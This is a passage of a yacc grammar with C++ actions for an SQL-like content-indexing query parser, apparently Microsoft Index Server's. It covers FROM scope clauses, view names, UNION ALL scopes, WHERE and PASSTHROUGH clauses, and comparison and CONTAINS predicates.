common_from_clause:
_FROM scope_specification opt_AS_clause
{
AssertReq( $2 );
$$ = $2;
if ( NULL != $3 )
{
$3->pctFirstChild = $$;
$$ = $3;
}
}
;
scope_specification:
unqualified_scope_specification
{
AssertReq( $1 );
$$ = $1;
}
| qualified_scope_specification
{
AssertReq( $1 );
$$ = $1;
}
| union_all_scope_specification
{
AssertReq( $1 );
$$ = $1;
}
;
unqualified_scope_specification:
_SCOPE '(' scope_definition ')'
{ // _SCOPE '(' scope_definition ')'
AssertReq( $3 );
//
// Set the machine and catalog to the defaults
//
($3->value.pdbcntnttblValue)->pwszMachine = CoTaskStrDup( m_pIPSession->GetDefaultMachine() );
if ( NULL == ($3->value.pdbcntnttblValue)->pwszMachine )
{
m_pIPTProperties->SetErrorHResult( DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY );
YYABORT( E_OUTOFMEMORY );
}
($3->value.pdbcntnttblValue)->pwszCatalog = CoTaskStrDup( m_pIPSession->GetDefaultCatalog() );
if ( NULL == ($3->value.pdbcntnttblValue)->pwszCatalog )
{
m_pIPTProperties->SetErrorHResult( DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY );
YYABORT( E_OUTOFMEMORY );
}
$$ = $3;
}
;
qualified_scope_specification:
machine_name _DOTDOTDOT_SCOPE '(' scope_definition ')'
{ // machine_name _DOTDOTDOT_SCOPE '(' scope_definition ')'
AssertReq( $1 );
AssertReq( $4 );
($4->value.pdbcntnttblValue)->pwszMachine = CoTaskStrDup( $1->value.pwszValue );
if ( NULL == ($4->value.pdbcntnttblValue)->pwszMachine )
{
m_pIPTProperties->SetErrorHResult( DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY );
YYABORT( E_OUTOFMEMORY );
}
SCODE sc = m_pIPSession->GetIPVerifyPtr()->VerifyCatalog(
$1->value.pwszValue,
m_pIPSession->GetDefaultCatalog() );
if ( S_OK != sc )
{
m_pIPTProperties->SetErrorHResult( sc, MONSQL_INVALID_CATALOG );
m_pIPTProperties->SetErrorToken( m_pIPSession->GetDefaultCatalog() );
YYABORT( sc );
}
($4->value.pdbcntnttblValue)->pwszCatalog = CoTaskStrDup( m_pIPSession->GetDefaultCatalog() );
if ( NULL == ($4->value.pdbcntnttblValue)->pwszCatalog )
{
m_pIPTProperties->SetErrorHResult( DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY );
YYABORT( E_OUTOFMEMORY );
}
DeleteDBQT( $1 );
$$ = $4;
}
| machine_name _DOT catalog_name _DOTDOT_SCOPE '(' scope_definition ')'
{ // machine_name _DOT catalog_name _DOTDOT_SCOPE '(' scope_definition ')'
AssertReq( $1 );
AssertReq( $3 );
AssertReq( $6 );
($6->value.pdbcntnttblValue)->pwszMachine = CoTaskStrDup( $1->value.pwszValue );
if ( NULL == ($6->value.pdbcntnttblValue)->pwszMachine )
{
m_pIPTProperties->SetErrorHResult( DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY );
YYABORT( E_OUTOFMEMORY );
}
//
// Verify catalog on machine specified
//
SCODE sc = m_pIPSession->GetIPVerifyPtr()->VerifyCatalog(
$1->value.pwszValue,
$3->value.pwszValue );
if ( S_OK != sc )
{
m_pIPTProperties->SetErrorHResult( sc, MONSQL_INVALID_CATALOG );
m_pIPTProperties->SetErrorToken( $3->value.pwszValue );
YYABORT( sc );
}
($6->value.pdbcntnttblValue)->pwszCatalog = CoTaskStrDup( $3->value.pwszValue );
if ( NULL == ($6->value.pdbcntnttblValue)->pwszCatalog )
{
m_pIPTProperties->SetErrorHResult( DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY );
YYABORT( E_OUTOFMEMORY );
}
DeleteDBQT( $1 );
DeleteDBQT( $3 );
$$ = $6;
}
| catalog_name _DOTDOT_SCOPE '(' scope_definition ')'
{ // catalog_name _DOTDOT_SCOPE '(' scope_definition ')'
AssertReq( $1 );
AssertReq( $4 );
($4->value.pdbcntnttblValue)->pwszMachine = CoTaskStrDup( m_pIPSession->GetDefaultMachine() );
if ( NULL == ($4->value.pdbcntnttblValue)->pwszMachine )
{
m_pIPTProperties->SetErrorHResult( DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY );
YYABORT( E_OUTOFMEMORY );
}
//
// See if catalog is valid on default machine
//
SCODE sc = m_pIPSession->GetIPVerifyPtr()->VerifyCatalog(
m_pIPSession->GetDefaultMachine(),
$1->value.pwszValue );
if ( S_OK != sc )
{
m_pIPTProperties->SetErrorHResult( sc, MONSQL_INVALID_CATALOG );
m_pIPTProperties->SetErrorToken( $1->value.pwszValue );
YYABORT( sc );
}
($4->value.pdbcntnttblValue)->pwszCatalog = CoTaskStrDup( $1->value.pwszValue );
if ( NULL == ($4->value.pdbcntnttblValue)->pwszCatalog )
{
m_pIPTProperties->SetErrorHResult( DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY );
YYABORT( E_OUTOFMEMORY );
}
DeleteDBQT( $1 );
$$ = $4;
}
;
machine_name:
identifier
{
AssertReq( $1 );
$$ = $1;
}
;
catalog_name:
identifier
{
AssertReq( $1 );
//
// Defer validation of the catalog to the point where we
// know the machine name. Return whatever was parsed here.
//
$$ = $1;
}
;
scope_definition:
/* empty */
{ // empty rule for scope_definition
//
// Create a DBOP_content_table node with default scope settings
//
$$ = PctAllocNode( DBVALUEKIND_CONTENTTABLE, DBOP_content_table );
if ( NULL == $$ )
{
m_pIPTProperties->SetErrorHResult( DB_E_ERRORSINCOMMAND,
MONSQL_OUT_OF_MEMORY );
YYABORT( E_OUTOFMEMORY );
}
}
| scope_element_list
{ // scope_element_list
AssertReq($1);
$1 = PctReverse( $1 );
$$ = PctCreateNode( DBOP_scope_list_anchor, $1, NULL );
if ( NULL == $$ )
{
m_pIPTProperties->SetErrorHResult( DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY );
YYABORT( E_OUTOFMEMORY );
}
$$ = PctCreateNode( DBOP_content_table, DBVALUEKIND_CONTENTTABLE, $$, NULL );
if ( NULL == $$ )
{
m_pIPTProperties->SetErrorHResult( DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY );
YYABORT( E_OUTOFMEMORY );
}
}
;
scope_element_list:
scope_element_list ',' scope_element
{
AssertReq( $1 );
AssertReq( $3);
//
// chain scope list elements together
//
$$ = PctLink( $3, $1 );
}
| scope_element
{
AssertReq( $1 );
$$ = $1;
}
;
scope_element:
'\'' opt_traversal_exclusivity path_or_virtual_root_list '\''
{
AssertReq( $2 );
AssertReq( $3 );
$3 = PctReverse( $3 );
SetDepthAndInclusion( $2, $3 );
DeleteDBQT( $2 );
$$ = $3;
}
| '\'' opt_traversal_exclusivity '(' path_or_virtual_root_list ')' '\''
{
AssertReq( $2 );
AssertReq( $4 );
$4 = PctReverse( $4 );
SetDepthAndInclusion( $2, $4 );
DeleteDBQT( $2 );
$$ = $4;
}
;
opt_traversal_exclusivity:
/* empty */
{
$$ = PctAllocNode( DBVALUEKIND_CONTENTSCOPE, DBOP_scope_list_element );
if ( NULL == $$ )
{
m_pIPTProperties->SetErrorHResult( DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY );
YYABORT( E_OUTOFMEMORY );
}
$$->value.pdbcntntscpValue->dwFlags |= SCOPE_FLAG_DEEP;
$$->value.pdbcntntscpValue->dwFlags |= SCOPE_FLAG_INCLUDE;
}
| _DEEP_TRAVERSAL _OF
{
$$ = PctAllocNode( DBVALUEKIND_CONTENTSCOPE, DBOP_scope_list_element );
if ( NULL == $$ )
{
m_pIPTProperties->SetErrorHResult( DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY );
YYABORT( E_OUTOFMEMORY );
}
$$->value.pdbcntntscpValue->dwFlags |= SCOPE_FLAG_DEEP;
$$->value.pdbcntntscpValue->dwFlags |= SCOPE_FLAG_INCLUDE;
}
| _SHALLOW_TRAVERSAL _OF
{
$$ = PctAllocNode( DBVALUEKIND_CONTENTSCOPE, DBOP_scope_list_element );
if ( NULL == $$ )
{
m_pIPTProperties->SetErrorHResult( DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY );
YYABORT( E_OUTOFMEMORY );
}
$$->value.pdbcntntscpValue->dwFlags &= ~(SCOPE_FLAG_DEEP);
$$->value.pdbcntntscpValue->dwFlags |= SCOPE_FLAG_INCLUDE;
}
/* ************* UNDONE ********************
| _EXCLUDE_SEARCH_TRAVERSAL _OF
{
// m_pIPTProperties->GetScopeDataPtr()->SetTemporaryDepth(QUERY_EXCLUDE);
$$ = PctCreateNode( DBOP_scope_list_element, NULL );
if ( NULL == $$ )
{
m_pIPTProperties->SetErrorHResult( DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY );
YYABORT( E_OUTOFMEMORY );
}
$$->value.pdbcntntscpValue->dwFlags &= ~(SCOPE_FLAG_DEEP);
$$->value.pdbcntntscpValue->dwFlags &= ~(SCOPE_FLAG_INCLUDE);
}
************* UNDONE ******************** */
;
path_or_virtual_root_list:
path_or_virtual_root_list ',' path_or_virtual_root
{
AssertReq( $1 );
AssertReq( $3 );
//
// chain path/vpath nodes together
//
$$ = PctLink( $3, $1 );
}
| path_or_virtual_root
{
AssertReq( $1 );
$$ = $1;
}
;
path_or_virtual_root:
_URL
{
AssertReq( $1 );
$$ = PctAllocNode( DBVALUEKIND_CONTENTSCOPE, DBOP_scope_list_element );
if ( NULL == $$ )
{
m_pIPTProperties->SetErrorHResult( DB_E_ERRORSINCOMMAND,
MONSQL_OUT_OF_MEMORY );
YYABORT( E_OUTOFMEMORY );
}
$$->value.pdbcntntscpValue->pwszElementValue =
CoTaskStrDup( ($1->value.pvarValue)->bstrVal );
if ( NULL == $$->value.pdbcntntscpValue->pwszElementValue )
{
m_pIPTProperties->SetErrorHResult( DB_E_ERRORSINCOMMAND,
MONSQL_OUT_OF_MEMORY );
YYABORT( E_OUTOFMEMORY );
}
if ( NULL != wcschr(((PROPVARIANT*)$1->value.pvValue)->bstrVal, L'/'))
$$->value.pdbcntntscpValue->dwFlags |= SCOPE_TYPE_VPATH;
else
$$->value.pdbcntntscpValue->dwFlags |= SCOPE_TYPE_WINPATH;
//
// Path names need backlashes not forward slashes
//
for (WCHAR *wcsLetter = $$->value.pdbcntntscpValue->pwszElementValue;
*wcsLetter != L'\0';
wcsLetter++)
if (L'/' == *wcsLetter)
*wcsLetter = L'\\';
DeleteDBQT( $1 );
}
;
opt_AS_clause:
/* empty */
{
$$ = NULL;
}
| _AS correlation_name
{
AssertReq($2);
// $2->op = DBOP_alias; // retag _ID node to be table alias
// $$ = $2; // UNDONE: This doesn't work with Index Server
DeleteDBQT($2);
$2 = NULL;
$$ = NULL;
}
;
/* 4,3,4 View Name */
from_view_clause:
_FROM view_name
{ // _FROM view_name
AssertReq( $2 );
// node telling where the view is defined
Assert( DBOP_content_table == $2->op );
// name of the view
AssertReq( $2->pctNextSibling );
$$ = m_pIPSession->GetLocalViewList()->GetViewDefinition( m_pIPTProperties,
$2->pctNextSibling->value.pwszValue,
($2->value.pdbcntnttblValue)->pwszCatalog );
if ( 0 == $$ )
$$ = m_pIPSession->GetGlobalViewList()->GetViewDefinition( m_pIPTProperties,
$2->pctNextSibling->value.pwszValue,
($2->value.pdbcntnttblValue)->pwszCatalog );
if ( 0 == $$ )
{ // If this isn't JAWS, this is an undefined view
if (DBDIALECT_MSSQLJAWS != m_pIPSession->GetSQLDialect())
{
m_pIPTProperties->SetErrorHResult( DB_E_ERRORSINCOMMAND, MONSQL_VIEW_NOT_DEFINED );
m_pIPTProperties->SetErrorToken( $2->pctNextSibling->value.pwszValue );
m_pIPTProperties->SetErrorToken( ($2->value.pdbcntnttblValue)->pwszCatalog );
YYABORT( DB_E_ERRORSINCOMMAND );
}
// setting the default scope for JAWS
CScopeData* pScopeData = m_pIPTProperties->GetScopeDataPtr();
pScopeData->SetTemporaryDepth(QUERY_DEEP);
pScopeData->MaskTemporaryDepth(QUERY_VIRTUAL_PATH);
pScopeData->SetTemporaryScope(VAL_AND_CCH_MINUS_NULL(L"/"));
pScopeData->SetTemporaryCatalog($2->value.pwszValue, wcslen($2->value.pwszValue));
pScopeData->IncrementScopeCount();
$$ = $2->pctNextSibling;
$2->pctNextSibling = NULL;
DeleteDBQT($2);
}
else // actually a view name
{
// If we didn't store scope information (global views), set up the scope now
if ( 0 == $$->pctNextSibling )
{
// name of the view
DeleteDBQT( $2->pctNextSibling );
$2->pctNextSibling = 0;
$$->pctNextSibling = $2;
}
else
{
AssertReq( DBOP_content_table == $$->pctNextSibling->op );
DeleteDBQT( $2 ); // throw away the view name
}
}
}
;
view_name:
_TEMPVIEW
{ // _TEMPVIEW
AssertReq( $1 );
$$ = PctAllocNode( DBVALUEKIND_CONTENTTABLE, DBOP_content_table );
if ( 0 == $$ )
{
m_pIPTProperties->SetErrorHResult( DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY );
YYABORT( E_OUTOFMEMORY );
}
($$->value.pdbcntnttblValue)->pwszMachine = CoTaskStrDup( m_pIPSession->GetDefaultMachine() );
if ( 0 == ($$->value.pdbcntnttblValue)->pwszMachine )
{
m_pIPTProperties->SetErrorHResult( DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY );
YYABORT( E_OUTOFMEMORY );
}
($$->value.pdbcntnttblValue)->pwszCatalog = CoTaskStrDup( m_pIPSession->GetDefaultCatalog() );
if ( 0 == ($$->value.pdbcntnttblValue)->pwszCatalog )
{
m_pIPTProperties->SetErrorHResult( DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY );
YYABORT( E_OUTOFMEMORY );
}
$$->pctNextSibling = $1;
}
| identifier
{ // identifier
AssertReq( $1 );
$$ = PctAllocNode( DBVALUEKIND_CONTENTTABLE, DBOP_content_table );
if ( 0 == $$ )
{
m_pIPTProperties->SetErrorHResult( DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY );
YYABORT( E_OUTOFMEMORY );
}
($$->value.pdbcntnttblValue)->pwszMachine = CoTaskStrDup( m_pIPSession->GetDefaultMachine() );
if ( 0 == ($$->value.pdbcntnttblValue)->pwszMachine )
{
m_pIPTProperties->SetErrorHResult( DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY );
YYABORT( E_OUTOFMEMORY );
}
($$->value.pdbcntnttblValue)->pwszCatalog = CoTaskStrDup( m_pIPSession->GetDefaultCatalog() );
if ( 0 == ($$->value.pdbcntnttblValue)->pwszCatalog )
{
m_pIPTProperties->SetErrorHResult( DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY );
YYABORT( E_OUTOFMEMORY );
}
$$->pctNextSibling = $1;
}
| catalog_name _DOTDOT _TEMPVIEW
{ // catalog_name _DOTDOT _TEMPVIEW
AssertReq($1);
AssertReq($3);
$$ = PctAllocNode( DBVALUEKIND_CONTENTTABLE, DBOP_content_table );
if ( 0 == $$ )
{
m_pIPTProperties->SetErrorHResult( DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY );
YYABORT( E_OUTOFMEMORY );
}
($$->value.pdbcntnttblValue)->pwszMachine = CoTaskStrDup( m_pIPSession->GetDefaultMachine() );
if ( 0 == ($$->value.pdbcntnttblValue)->pwszMachine )
{
m_pIPTProperties->SetErrorHResult( DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY );
YYABORT( E_OUTOFMEMORY );
}
($$->value.pdbcntnttblValue)->pwszCatalog = CoTaskStrDup( $1->value.pwszValue );
if ( 0 == ($$->value.pdbcntnttblValue)->pwszCatalog )
{
m_pIPTProperties->SetErrorHResult( DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY );
YYABORT( E_OUTOFMEMORY );
}
DeleteDBQT( $1 );
$$->pctNextSibling = $3;
}
| catalog_name _DOTDOT identifier
{ // catalog_name _DOTDOT identifier
AssertReq($1);
AssertReq($3);
$$ = PctAllocNode( DBVALUEKIND_CONTENTTABLE, DBOP_content_table );
if ( 0 == $$ )
{
m_pIPTProperties->SetErrorHResult( DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY );
YYABORT( E_OUTOFMEMORY );
}
($$->value.pdbcntnttblValue)->pwszMachine = CoTaskStrDup( m_pIPSession->GetDefaultMachine() );
if ( 0 == ($$->value.pdbcntnttblValue)->pwszMachine )
{
m_pIPTProperties->SetErrorHResult( DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY );
YYABORT( E_OUTOFMEMORY );
}
($$->value.pdbcntnttblValue)->pwszCatalog = CoTaskStrDup( $1->value.pwszValue );
if ( 0 == ($$->value.pdbcntnttblValue)->pwszCatalog )
{
m_pIPTProperties->SetErrorHResult( DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY );
YYABORT( E_OUTOFMEMORY );
}
DeleteDBQT( $1 );
$$->pctNextSibling = $3;
}
| machine_name _DOT catalog_name _DOTDOT _TEMPVIEW
{ // machine_name _DOT catalog_name _DOTDOT _TEMPVIEW
AssertReq( $1 );
AssertReq( $3 );
AssertReq( $5 );
$$ = PctAllocNode( DBVALUEKIND_CONTENTTABLE, DBOP_content_table );
if ( 0 == $$ )
{
m_pIPTProperties->SetErrorHResult( DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY );
YYABORT( E_OUTOFMEMORY );
}
($$->value.pdbcntnttblValue)->pwszMachine = CoTaskStrDup( $1->value.pwszValue );
if ( 0 == ($$->value.pdbcntnttblValue)->pwszMachine )
{
m_pIPTProperties->SetErrorHResult( DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY );
YYABORT( E_OUTOFMEMORY );
}
($$->value.pdbcntnttblValue)->pwszCatalog = CoTaskStrDup( $3->value.pwszValue );
if ( 0 == ($$->value.pdbcntnttblValue)->pwszCatalog )
{
m_pIPTProperties->SetErrorHResult( DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY );
YYABORT( E_OUTOFMEMORY );
}
DeleteDBQT( $1 );
DeleteDBQT( $3 );
$$->pctNextSibling = $5;
}
| machine_name _DOT catalog_name _DOTDOT identifier
{ // machine_name _DOT catalog_name _DOTDOT identifier
AssertReq( $1 );
AssertReq( $3 );
AssertReq( $5 );
$$ = PctAllocNode( DBVALUEKIND_CONTENTTABLE, DBOP_content_table );
if ( 0 == $$ )
{
m_pIPTProperties->SetErrorHResult( DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY );
YYABORT( E_OUTOFMEMORY );
}
($$->value.pdbcntnttblValue)->pwszMachine = CoTaskStrDup( $1->value.pwszValue );
if ( 0 == ($$->value.pdbcntnttblValue)->pwszMachine )
{
m_pIPTProperties->SetErrorHResult( DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY );
YYABORT( E_OUTOFMEMORY );
}
($$->value.pdbcntnttblValue)->pwszCatalog = CoTaskStrDup( $3->value.pwszValue );
if ( 0 == ($$->value.pdbcntnttblValue)->pwszCatalog )
{
m_pIPTProperties->SetErrorHResult( DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY );
YYABORT( E_OUTOFMEMORY );
}
DeleteDBQT( $1 );
DeleteDBQT( $3 );
$$->pctNextSibling = $5;
}
| machine_name _DOTDOTDOT identifier
{ // machine_name _DOTDOTDOT identifier
AssertReq( $1 );
AssertReq( $3 );
$$ = PctAllocNode( DBVALUEKIND_CONTENTTABLE, DBOP_content_table );
if ( 0 == $$ )
{
m_pIPTProperties->SetErrorHResult( DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY );
YYABORT( E_OUTOFMEMORY );
}
($$->value.pdbcntnttblValue)->pwszMachine = CoTaskStrDup( $1->value.pwszValue );
if ( 0 == ($$->value.pdbcntnttblValue)->pwszMachine )
{
m_pIPTProperties->SetErrorHResult( DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY );
YYABORT( E_OUTOFMEMORY );
}
($$->value.pdbcntnttblValue)->pwszCatalog = CoTaskStrDup( m_pIPSession->GetDefaultCatalog() );
if ( 0 == ($$->value.pdbcntnttblValue)->pwszCatalog )
{
m_pIPTProperties->SetErrorHResult( DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY );
YYABORT( E_OUTOFMEMORY );
}
DeleteDBQT( $1 );
$$->pctNextSibling = $3;
}
| machine_name _DOTDOTDOT _TEMPVIEW
{ // machine_name _DOTDOTDOT _TEMPVIEW
AssertReq( $1 );
AssertReq( $3 );
$$ = PctAllocNode( DBVALUEKIND_CONTENTTABLE, DBOP_content_table );
if ( 0 == $$ )
{
m_pIPTProperties->SetErrorHResult( DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY );
YYABORT( E_OUTOFMEMORY );
}
($$->value.pdbcntnttblValue)->pwszMachine = CoTaskStrDup( $1->value.pwszValue );
if ( 0 == ($$->value.pdbcntnttblValue)->pwszMachine )
{
m_pIPTProperties->SetErrorHResult( DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY );
YYABORT( E_OUTOFMEMORY );
}
($$->value.pdbcntnttblValue)->pwszCatalog = CoTaskStrDup( m_pIPSession->GetDefaultCatalog() );
if ( 0 == ($$->value.pdbcntnttblValue)->pwszCatalog )
{
m_pIPTProperties->SetErrorHResult( DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY );
YYABORT( E_OUTOFMEMORY );
}
DeleteDBQT( $1 );
$$->pctNextSibling = $3;
}
;
/* 4.3.6 Olympus FROM Clause */
union_all_scope_specification:
'(' union_all_scope_element ')'
{
$$ = $2;
}
;
union_all_scope_element:
union_all_scope_element _UNION _ALL explicit_table
{
AssertReq( $1 );
AssertReq( $4 );
$$ = PctCreateNode( DBOP_set_union, $1, $4, NULL );
if ( NULL == $$ )
{
m_pIPTProperties->SetErrorHResult( DB_E_ERRORSINCOMMAND,
MONSQL_OUT_OF_MEMORY );
YYABORT( E_OUTOFMEMORY );
}
}
| explicit_table _UNION _ALL explicit_table
{
AssertReq( $1 );
AssertReq( $4 );
$$ = PctCreateNode( DBOP_set_union, $1, $4, NULL );
if ( NULL == $$ )
{
m_pIPTProperties->SetErrorHResult( DB_E_ERRORSINCOMMAND,
MONSQL_OUT_OF_MEMORY );
YYABORT( E_OUTOFMEMORY );
}
}
;
explicit_table:
_TABLE qualified_scope_specification
{
AssertReq( $2 );
$$ = $2;
}
;
/* 4.4 WHERE Clause */
opt_where_clause:
/* empty */
{
$$ = NULL;
}
| where_clause
;
where_clause:
_WHERE search_condition
{
AssertReq($2);
$$ = $2;
}
| _WHERE _PASSTHROUGH '(' _STRING ')'
{
AssertReq($4);
if (wcslen(((PROPVARIANT*)$4->value.pvValue)->bstrVal))
m_pIPTProperties->AppendCiRestriction(((PROPVARIANT*)$4->value.pvValue)->bstrVal,
wcslen(((PROPVARIANT*)$4->value.pvValue)->bstrVal));
UINT cSize = 0;
CIPROPERTYDEF* pPropTable = m_pIPSession->m_pCPropertyList->GetPropertyTable(&cSize);
if (!pPropTable)
{
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY);
YYABORT(E_OUTOFMEMORY);
}
if (FAILED(CITextToSelectTreeEx(((PROPVARIANT*)$4->value.pvValue)->bstrVal,
ISQLANG_V2,
&yyval,
cSize,
pPropTable,
m_pIPSession->GetLCID())))
{
m_pIPSession->m_pCPropertyList->DeletePropertyTable(pPropTable, cSize);
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_CITEXTTOSELECTTREE_FAILED);
m_pIPTProperties->SetErrorToken(((PROPVARIANT*)$4->value.pvValue)->bstrVal);
YYABORT(DB_E_ERRORSINCOMMAND);
}
DeleteDBQT($4);
$4 = NULL;
m_pIPSession->m_pCPropertyList->DeletePropertyTable(pPropTable, cSize);
}
;
predicate:
comparison_predicate
| contains_predicate
| freetext_predicate
| like_predicate
| matches_predicate
| vector_comparison_predicate
| null_predicate
;
/* 4.4.3 Comparison Predicate */
comparison_predicate:
column_reference_or_cast comp_op typed_literal
{
AssertReq($1);
AssertReq($2);
if (m_pIPTProperties->GetDBType() & DBTYPE_VECTOR)
{
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_PARSE_ERROR);
m_pIPTProperties->SetErrorToken(L"<literal>");
m_pIPTProperties->SetErrorToken(L"ARRAY");
YYABORT(DB_E_ERRORSINCOMMAND);
}
$1->pctNextSibling = $3;
$2->pctFirstChild = $1;
$$ = $2;
}
;
column_reference_or_cast:
column_reference
{
AssertReq($1);
m_pIPTProperties->UseCiColumn(L'@');
$$ = $1;
}
| _CAST '(' column_reference _AS dbtype ')'
{
AssertReq($3);
AssertReq($5);
if (DBDIALECT_MSSQLJAWS != m_pIPSession->GetSQLDialect())
{
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_PARSE_ERROR);
m_pIPTProperties->SetErrorToken(L"CAST");
m_pIPTProperties->SetErrorToken(L"column_reference");
YYABORT(DB_E_ERRORSINCOMMAND);
}
m_pIPTProperties->UseCiColumn(L'@');
m_pIPTProperties->SetDBType($5->value.usValue);
DeleteDBQT($5);
$$ = $3;
}
;
column_reference:
identifier
{
AssertReq($1);
$$ = PctMkColNodeFromStr($1->value.pwszValue, m_pIPSession, m_pIPTProperties);
if (NULL == $$)
YYABORT(DB_E_ERRORSINCOMMAND);
m_pIPTProperties->SetCiColumn($1->value.pwszValue);
DeleteDBQT($1);
$1 = NULL;
}
| correlation_name '.' identifier
{
AssertReq($1);
AssertReq($3);
$$ = PctMkColNodeFromStr($3->value.pwszValue, m_pIPSession, m_pIPTProperties);
if (NULL == $$)
YYABORT(DB_E_ERRORSINCOMMAND);
m_pIPTProperties->SetCiColumn($3->value.pwszValue);
DeleteDBQT($3);
$3 = NULL;
DeleteDBQT($1); // UNDONE: Don't use the correlation name for now
$1 = NULL;
}
| _CREATE
{
m_pIPTProperties->SetCiColumn(L"CREATE");
$$ = PctMkColNodeFromStr(L"CREATE", m_pIPSession, m_pIPTProperties);
if (NULL == $$)
YYABORT(DB_E_ERRORSINCOMMAND);
m_pIPTProperties->AppendCiRestriction(VAL_AND_CCH_MINUS_NULL(L"CREATE "));
}
;
comp_op:
'='
{
$$ = PctCreateRelationalNode(DBOP_equal, DEFAULTWEIGHT);
if (NULL == $$)
{
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY);
YYABORT(E_OUTOFMEMORY);
}
m_pIPTProperties->AppendCiRestriction(VAL_AND_CCH_MINUS_NULL(L"="));
}
| _NE
{
$$ = PctCreateRelationalNode(DBOP_not_equal, DEFAULTWEIGHT);
if (NULL == $$)
{
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY);
YYABORT(E_OUTOFMEMORY);
}
m_pIPTProperties->AppendCiRestriction(VAL_AND_CCH_MINUS_NULL(L"!="));
}
| '<'
{
$$ = PctCreateRelationalNode(DBOP_less, DEFAULTWEIGHT);
if (NULL == $$)
{
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY);
YYABORT(E_OUTOFMEMORY);
}
m_pIPTProperties->AppendCiRestriction(VAL_AND_CCH_MINUS_NULL(L"<"));
}
| '>'
{
$$ = PctCreateRelationalNode(DBOP_greater, DEFAULTWEIGHT);
if (NULL == $$)
{
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY);
YYABORT(E_OUTOFMEMORY);
}
m_pIPTProperties->AppendCiRestriction(VAL_AND_CCH_MINUS_NULL(L">"));
}
| _LE
{
$$ = PctCreateRelationalNode(DBOP_less_equal, DEFAULTWEIGHT);
if (NULL == $$)
{
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY);
YYABORT(E_OUTOFMEMORY);
}
m_pIPTProperties->AppendCiRestriction(VAL_AND_CCH_MINUS_NULL(L"<="));
}
| _GE
{
$$ = PctCreateRelationalNode(DBOP_greater_equal, DEFAULTWEIGHT);
if (NULL == $$)
{
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY);
YYABORT(E_OUTOFMEMORY);
}
m_pIPTProperties->AppendCiRestriction(VAL_AND_CCH_MINUS_NULL(L">="));
}
;
/* 4.4.4 Contains Predicate */
contains_predicate:
_CONTAINS '(' opt_contents_column_reference '\'' content_search_condition '\'' ')' opt_greater_than_zero
{
AssertReq(!$3); // should have been NULLed out in opt_contents_column_reference
AssertReq($5);
$$ = $5;
DeleteDBQT(m_pIPTProperties->GetContainsColumn());
m_pIPTProperties->SetContainsColumn(NULL);
}
;
opt_contents_column_reference:
/* empty */
{ // opt_contents_column_reference empty rule
$$ = PctMkColNodeFromStr(L"CONTENTS", m_pIPSession, m_pIPTProperties);
if (NULL == $$)
YYABORT(DB_E_ERRORSINCOMMAND);
m_pIPTProperties->SetCiColumn(L"CONTENTS");
m_pIPTProperties->SetContainsColumn($$);
$$ = NULL;
}
| column_reference ','
{ // column_reference ','
m_pIPTProperties->SetContainsColumn($1);
$$ = NULL;
}
;
content_search_condition:
/* empty */
{
// This forces a left parentheses before the content search condition
// The matching right paren will be added below.
m_pIPTProperties->CiNeedLeftParen();
$$ = NULL;
}
content_search_cond
{
AssertReq($2);
$$ = $2;
m_pIPTProperties->AppendCiRestriction(VAL_AND_CCH_MINUS_NULL(L")"));
}
;
content_search_cond:
content_boolean_term
